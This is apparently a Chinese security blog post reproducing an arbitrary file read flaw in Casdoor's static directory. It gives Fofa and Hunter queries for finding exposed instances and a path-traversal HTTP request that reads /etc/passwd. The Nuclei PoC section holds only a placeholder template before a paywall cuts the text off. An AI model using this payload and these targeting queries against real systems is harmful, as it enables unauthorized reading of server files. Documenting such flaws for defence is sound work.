【漏洞复现】Casdoor-任意文件读取

原创

于 2023-10-19 11:30:55 发布 · 391 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #web安全 #网络

本文详细介绍了Casdoor系统中static目录存在的任意文件读取漏洞，包括漏洞描述、资产测绘方法和复现过程。通过Fofa查询和Hunter规则定位到Casdoor系统，利用Nuclei poc进行漏洞验证。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

【漏洞介绍】

【资产测绘Query】

【漏洞复现】

【漏洞介绍】

Casdoor系统static存在任意文件读取漏洞

【漏洞描述】
Casdoor是一个基于OAuth 2.0、OIDC、SAML 和 CAS 的，UI-first的身份和访问管理(IAM)/单点登录(SSO)平台。使用 Go 和react开发，前后端分离，内置第三方应用登录服务。

【资产测绘Query】

Fofa：title:”Casdoor”
Hunter：web.title=”Casdoor”

【漏洞复现】

GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1

【Nuclei-Poc】

id: template-id

info:
  name: Template Name
  author: xxx
  severity: info
  description: description
  reference:
    - https://
  tags: tags

request

最低0.47元/天解锁文章

200万优质内容无限畅学